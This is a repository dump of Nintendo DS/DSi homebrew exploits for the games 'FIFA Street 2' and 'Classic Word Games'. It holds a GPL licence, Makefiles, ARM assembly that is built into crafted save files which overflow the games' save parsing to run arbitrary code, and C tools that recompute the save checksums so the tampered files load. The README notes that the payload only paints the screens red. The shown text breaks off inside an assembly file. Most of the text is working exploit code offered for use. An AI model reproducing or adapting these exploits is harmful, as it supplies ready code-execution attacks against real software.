├── .gitignore ├── COPYING ├── FifaStreet2 ├── Makefile ├── fifastreet2hack.s └── fifastreet2sum.c ├── classichack ├── Makefile ├── README.TXT ├── cwghack.s └── cwgsum.c └── cookhack ├── Makefile ├── README.TXT ├── cookhack.s ├── cooksum.c └── overflow.bin /.gitignore: -------------------------------------------------------------------------------- 1 | *.sav 2 | *.dsv 3 | *.elf 4 | *.exe 5 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) year name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | -------------------------------------------------------------------------------- /FifaStreet2/Makefile: -------------------------------------------------------------------------------- 1 | export PATH := $(DEVKITARM)/bin:$(PATH) 2 | export CC := gcc 3 | 4 | 5 | TARGET := AFSE.SAV 6 | 7 | $(TARGET): fifastreet2hack.elf fifastreet2sum$(EXEEXT) 8 | arm-none-eabi-objcopy -O binary fifastreet2hack.elf $@ 9 | ./fifastreet2sum $@ 10 | 11 | fifastreet2sum$(EXEEXT): fifastreet2sum.c 12 | $(CC) $< -o $@ 13 | 14 | fifastreet2hack.elf: fifastreet2hack.s 15 | arm-none-eabi-gcc -Wl,-Ttext=0 -x assembler-with-cpp -nostartfiles -nostdlib $< -o $@ 16 | 17 | clean: 18 | rm -f AFSE.sav fifastreet2hack.elf fifastreet2sum$(EXEEXT) 19 | -------------------------------------------------------------------------------- /FifaStreet2/fifastreet2hack.s: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2014 Dave Murphy (WinterMute) 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 2 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | */ 18 | 19 | #define REG_BASE 0x04000000 20 | 21 | .global _start 22 | _start: 23 | .word 0xf1fa06ee, 0x0b89, 0x7eef004d, 0 24 | .word 0, 0, 0, 0 25 | .word 0, 0x01010101, 0, 0 26 | .word 0, 0x0b0000, 0x7f7f0100, 0x0303037f 27 | .fill 5, 1, 3 28 | .ascii "hello world" 29 | .fill 272, 1, 'x' 30 | .fill 9, 1, 'x' 31 | .byte 0xb4, 0x2b, 0x0c, 0x02 32 | .fill 35, 1, 'x' 33 | 34 | hack: 35 | mov r12, #REG_BASE 36 | str r12, [r12, #0x208] @ IME = 0; 37 | 38 | ldr r0, =0x00002078 @ disable TCM and protection unit 39 | mcr p15, 0, r0, c1, c0 40 | 41 | @ Disable caches 42 | mov r0, #0 43 | mcr p15, 0, r0, c7, c5, 0 @ Instruction cache 44 | mcr p15, 0, r0, c7, c6, 0 @ Data cache 45 | 46 | @ Wait for write buffer to empty 47 | mcr p15, 0, r0, c7, c10, 4 48 | 49 | mov r1, #0 50 | strh r1, [r12, #0x6c] 51 | 52 | mov r2, #0x1000 53 | add r3, r2, r12 54 | strh r1, [r3, #0x6c] 55 | 56 | add r11, r12, #0x1a0 57 | 58 | ldrh r0,[r11,#0x204-0x1a0] 59 | and r0,r0,#~(1<<11) 60 | strh r0,[r11,#0x204-0x1a0] 61 | 62 | ldr r0, eepromselect 63 | strh r0,[r11] 64 | 65 | mov r0,#03 66 | strb r0,[r11,#0x02] 67 | bl eepromwait 68 | 69 | mov r0,#0 70 | strb r0,[r11,#0x02] 71 | bl eepromwait 72 | 73 | mov r0,#0 74 | strb r0,[r11,#0x02] 75 | bl eepromwait 76 | 77 | mov r1,#0x02300000 78 | add r2,r1,#0x2000 79 | 80 | readeeprom: 81 | mov r0,#0 82 | strb r0,[r11,#0x02] 83 | 84 | bl eepromwait 85 | ldrb r0,[r11,#0x02] 86 | strb r0,[r1],#1 87 | cmp r1,r2 88 | bne readeeprom 89 | 90 | mov r0,#0x40 91 | strh r0,[r11] 92 | 93 | mov r11,r11 94 | ldr r0,stage2_offset 95 | add r0,#0x02300000 96 | bx r0 97 | 98 | stage2_offset: 99 | .word stage2 - _start 100 | 101 | eepromwait: 102 | ldrh r0,[r11] 103 | tst r0, #128 104 | bne eepromwait 105 | bx lr 106 | 107 | eepromselect: 108 | .word 0xA040 109 | 110 | stage2: 111 | mov r2, #0x1000 112 | add r2,r2,r12 113 | mov r0,r12 114 | ldr r3, dispcnt 115 | str r3, [r0] 116 | str r3, [r2] 117 | 118 | mov r5, #0x200 119 | str r5, [r0, #0x08] 120 | str r5, [r2, #0x08] 121 | 122 | add r0, r0, #0x240 123 | str r1, [r0] 124 | strh r1, [r0, #0x04] 125 | strb r1, [r0, #0x06] 126 | strb r1, [r0, #0x08] 127 | 128 | mov r1, #0x81 129 | strb r1, [r0] 130 | mov r1, #0x84 131 | strb r1, [r0,#0x02] 132 | 133 | mov r4, #0x05000000 @ engine A palette 134 | 135 | mov r1, #0x1f 136 | str r1, [r4] 137 | str r1, [r4,#0x400] @ engine B palette 138 | 139 | add r0, r4, #0x01000000 140 | add r2, r0, #0x00200000 141 | 142 | mov r1, #0 143 | mov r3, #0x1800 144 | bl memset 145 | 146 | mov r0, #0x40000 147 | add r0, #0xC 148 | str r0, [r12, #0x188] 149 | 150 | add r3, r12, #0x180 @ r3 = 4000180 151 | 152 | ldr r5,=0x2fffc24 153 | 154 | ldr r0,=0x4004008 155 | ldr r0,[r0] 156 | ands r0,r0,#0x8000 157 | beq notDSi 158 | 159 | mov r2, #4 160 | strh r2, [r5,#4] 161 | bl wait_dsi7 162 | mov r2, #3 163 | strh r2, [r5,#4] 164 | bl wait_dsi7 165 | 166 | notDSi: 167 | mov r2, #1 168 | bl waitsync 169 | 170 | mov r1, #0x3e0 171 | str r1, [r4] 172 | 173 | adr r5, arm7_start 174 | adr r7, arm7_end 175 | ldr r6, =0x2380000 176 | copyloop: 177 | ldr r0, [r5],#4 178 | str r0, [r6],#4 179 | cmp r5, r7 180 | bne copyloop 181 | 182 | mov r0, #0x100 183 | strh r0, [r3] 184 | 185 | mov r2, #0 186 | bl waitsync 187 | 188 | mov r0, #0 189 | strh r0, [r3] 190 | 191 | mov r2, #5 192 | bl waitsync 193 | 194 | str r1, [r4,#0x400] @ engine B palette 195 | 196 | forever: 197 | b forever 198 | 199 | .pool 200 | 201 | dispcnt: 202 | .word 0x10100 203 | 204 | memset: 205 | 206 | .clrloop: 207 | subs r3, r3, #4 208 | str r1, [r0,r3] 209 | str r1, [r2,r3] 210 | bne .clrloop 211 | bx lr 212 | 213 | wait_dsi7: 214 | ldrh r0,[r5,#2] 215 | .wait7: 216 | ldrh r6,[r5,#2] 217 | cmp r6,r0 218 | beq .wait7 219 | 220 | ldrh r0,[r5] 221 | add r0,r0,#1 222 | strh r0,[r5] 223 | bx lr 224 | 225 | waitsync: 226 | ldrh r0, [r3] 227 | and r0, r0, #0x000f 228 | cmp r0, r2 229 | bne waitsync 230 | bx lr 231 | 232 | 233 | arm7_start: 234 | mov r12, #REG_BASE 235 | str r12, [r12, #0x208] @ IME = 0; 236 | add r3, r12, #0x180 237 | mov r0,#0x0500 238 | strh r0,[r3] 239 | ldr r0,loop 240 | mov r1,#0x3800000 241 | str r0,[r1] 242 | bx r1 243 | loop: 244 | b loop 245 | 246 | arm7_end: 247 | 248 | .space (_start + 0x2000) - . 249 | -------------------------------------------------------------------------------- /FifaStreet2/fifastreet2sum.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | uint16_t checksum(unsigned char *buffer, int length) { 7 | 8 | uint16_t sum = 13; 9 | 10 | do { 11 | 12 | if (length<4) { 13 | 14 | sum += (*(buffer++) * length); 15 | length--; 16 | 17 | } else { 18 | 19 | sum += (*(buffer++) * length); 20 | sum += (*(buffer++) * length); 21 | sum += (*(buffer++) * length); 22 | sum += (*(buffer++) * length); 23 | 24 | length -= 4; 25 | } 26 | } while (length > 0 ); 27 | return sum; 28 | } 29 | 30 | unsigned char *loadFile(char *name, int *bufferSize) { 31 | FILE * f; 32 | long size; 33 | unsigned char * buffer; 34 | 35 | f=fopen(name , "rb" ); 36 | if(!f)return NULL; 37 | 38 | fseek (f , 0 , SEEK_END); 39 | size = ftell (f); 40 | rewind (f); 41 | if(bufferSize)*bufferSize=size; 42 | 43 | buffer=(unsigned char*)malloc(sizeof(char)*size); 44 | fread(buffer,1,size,f); 45 | fclose(f); 46 | return buffer; 47 | } 48 | 49 | void saveFile(const char filename[], unsigned char* buffer, long size) 50 | { 51 | FILE * f; 52 | 53 | f=fopen(filename , "wb+" ); 54 | if(!f)return; 55 | 56 | fwrite(buffer,1,size,f); 57 | 58 | fclose(f); 59 | } 60 | 61 | int main(int argc, char* argv[]) { 62 | 63 | if (argc < 2) { 64 | printf("Usage: %s savefile",argv[0]); 65 | exit(1); 66 | } 67 | 68 | int size; 69 | 70 | unsigned char *buffer = loadFile(argv[1],&size); 71 | 72 | if (buffer == NULL) { 73 | printf ("failed to load %s.\n",argv[1]); 74 | exit(1); 75 | } 76 | 77 | 78 | int oldsum = (buffer[11] << 8) + buffer[10]; 79 | int newsum = checksum(&buffer[0x34],0xfa0); 80 | 81 | printf("current checksum = %04x\ncalculated checksum = %04x\n", oldsum,newsum); 82 | 83 | buffer[10] = newsum & 0xff; 84 | buffer[11] = (newsum >> 8 ) & 0xff; 85 | 86 | saveFile(argv[1],buffer,size); 87 | 88 | free(buffer); 89 | return 0; 90 | } 91 | 92 | -------------------------------------------------------------------------------- /classichack/Makefile: -------------------------------------------------------------------------------- 1 | export PATH := $(DEVKITARM)/bin:$(PATH) 2 | export CC := gcc 3 | 4 | #--------------------------------------------------------------------------------- 5 | # the prefix on the compiler executables 6 | #--------------------------------------------------------------------------------- 7 | PREFIX := arm-none-eabi- 8 | 9 | UNAME := $(shell uname -s) 10 | 11 | #ifneq (,$(findstring MINGW,$(UNAME))) 12 | # EXEEXT := .exe 13 | #endif 14 | 15 | COUNTRY := FR 16 | 17 | ifeq ($(strip $(COUNTRY)),USA) 18 | ID:=E 19 | endif 20 | 21 | ifeq ($(strip $(COUNTRY)),UK) 22 | ID:=V 23 | endif 24 | 25 | ifeq ($(strip $(COUNTRY)),FR) 26 | ID:=F 27 | endif 28 | 29 | TARGET := VCW$(ID).sav 30 | 31 | 32 | $(TARGET): cwghack.elf cwgsum$(EXEEXT) 33 | $(PREFIX)objcopy -O binary $< $@ 34 | ./cwgsum $@ 35 | 36 | cwgsum$(EXEEXT): cwgsum.c 37 | 38 | cwghack.elf: cwghack.s 39 | $(PREFIX)gcc -Ttext=0 -x assembler-with-cpp -nostartfiles -nostdlib -D$(COUNTRY) $< -o $@ 40 | 41 | clean: 42 | rm -f cwgsum$(EXEEXT) cwghack.elf cwghack.o cwghack.sav 43 | -------------------------------------------------------------------------------- /classichack/README.TXT: -------------------------------------------------------------------------------- 1 | DSi Classic Word Games exploit 2 | 3 | This little project allows you to compile assembly straight into a 4 | Classic Word Games save game file. This file can then be written to the game 5 | card with something like eepinator from a normal DS. 6 | 7 | The current assembly just paints the screens red. 8 | 9 | If you find anything interesting then let us know in #dsdev on irc.blitzed.org 10 | 11 | With thanks to Blasty for pointing me at modifying desmume to test exploit code. 12 | Basically I added code to check the program counter for particular values which I 13 | then added to the save file until it went bang. 14 | 15 | Have fun, 16 | 17 | Dave (WinterMute) 18 | http://www.devkitpro.org 19 | http://davejmurphy.com -------------------------------------------------------------------------------- /classichack/cwghack.s: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2009 Dave Murphy (WinterMute) 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 2 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | 17 | */ 18 | 19 | #if defined(USA) 20 | #define CODE 0x400810 21 | #endif 22 | 23 | #if defined(UK) 24 | #define CODE 0x800354 25 | #endif 26 | 27 | #if defined(FR) 28 | #define CODE 0x800355 29 | #endif 30 | 31 | #define REG_BASE 0x04000000 32 | 33 | .global _start 34 | 35 | _start: 36 | .word CODE 37 | .hword 1 38 | .hword 0x0203 39 | 40 | .ascii "__CWG_HACK__" 41 | .word 0x010A010A, 0xAAAAAAAA, 0xAAAAAAAA, 0x01010266 42 | .word 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA 43 | .word 0x01010101, 0xAAAAAAAA, 0x02EB4E18, 0xAAAAAAAA 44 | .word 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA 45 | .word 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA, 0xAAAAAAAA 46 | 47 | .space (_start + 0x0f38) - . 48 | 49 | .word CODE 50 | .hword 2 51 | .hword 0x0202 52 | 53 | .ascii "_WinterMute_" 54 | 55 | .space (_start + 0x0f80) - . 56 | 57 | mov r0, #REG_BASE 58 | str r0, [r0, #0x208] @ IME = 0; 59 | 60 | mov r1, #0 61 | strh r1, [r0, #0x6c] 62 | 63 | mov r2, #0x1000 64 | add r3, r2, r0 65 | strh r1, [r3, #0x6c] 66 | 67 | mov r12, r0 68 | 69 | add r2, r2, r0 70 | 71 | mov r3, #0x58 72 | bl memset 73 | 74 | ldr r3, dispcnt 75 | str r3, [r0] 76 | str r3, [r2] 77 | 78 | mov r5, #0x200 79 | str r5, [r0, #0x08] 80 | str r5, [r2, #0x08] 81 | 82 | add r0, r0, #0x240 83 | str r1, [r0] 84 | strh r1, [r0, #0x04] 85 | strb r1, [r0, #0x06] 86 | strb r1, [r0, #0x08] 87 | 88 | mov r1, #0x81 89 | strb r1, [r0] 90 | mov r1, #0x84 91 | strb r1, [r0,#0x02] 92 | 93 | mov r4, #0x05000000 @ engine A palette 94 | 95 | mov r1, #0x1f 96 | str r1, [r4] 97 | str r1, [r4,#0x400] @ engine B palette 98 | 99 | add r0, r4, #0x01000000 100 | add r2, r0, #0x00200000 101 | 102 | mov r1, #0 103 | mov r3, #0x1800 104 | bl memset 105 | 106 | 107 | ldr r0, =0x00002078 @ disable TCM and protection unit 108 | mcr p15, 0, r0, c1, c0 109 | 110 | @ Disable caches 111 | mov r0, #0 112 | mcr p15, 0, r0, c7, c5, 0 @ Instruction cache 113 | mcr p15, 0, r0, c7, c6, 0 @ Data cache 114 | 115 | @ Wait for write buffer to empty 116 | mcr p15, 0, r0, c7, c10, 4 117 | 118 | mov r1, #0x3e0 119 | str r1, [r4] 120 | 121 | mov r0, #0x40000 122 | add r0, #0xC 123 | str r0, [r12, #0x188] 124 | 125 | add r3, r12, #0x180 @ r3 = 4000180 126 | 127 | ldr r5,=0x2fffc24 128 | 129 | mov r2,#4 130 | strh r2,[r5,#4] 131 | bl wait_dsi7 132 | mov r2,#3 133 | strh r2,[r5,#4] 134 | bl wait_dsi7 135 | 136 | mov r2, #0xffffffff 137 | str r2, [r4,#0x400] @ engine B palette 138 | 139 | mov r2,#1 140 | bl waitsync 141 | 142 | adr r5,arm7_start 143 | adr r7,arm7_end 144 | ldr r6,=0x2380000 145 | copyloop: 146 | ldr r0,[r5],#4 147 | str r0,[r6],#4 148 | cmp r5,r7 149 | bne copyloop 150 | 151 | mov r0, #0x100 152 | strh r0, [r3] 153 | 154 | mov r2,#0 155 | bl waitsync 156 | 157 | mov r0, #0 158 | strh r0, [r3] 159 | 160 | mov r2,#5 161 | bl waitsync 162 | 163 | str r1, [r4,#0x400] @ engine B palette 164 | 165 | 166 | forever: 167 | b forever 168 | 169 | dispcnt: 170 | .word 0x10100 171 | 172 | memset: 173 | 174 | .clrloop: 175 | subs r3, r3, #4 176 | str r1, [r0,r3] 177 | str r1, [r2,r3] 178 | bne .clrloop 179 | bx lr 180 | 181 | wait_dsi7: 182 | ldrh r0,[r5,#2] 183 | .wait7: 184 | ldrh r6,[r5,#2] 185 | cmp r6,r0 186 | beq .wait7 187 | 188 | ldrh r0,[r5] 189 | add r0,r0,#1 190 | strh r0,[r5] 191 | bx lr 192 | 193 | waitsync: 194 | ldrh r0, [r3] 195 | and r0, r0, 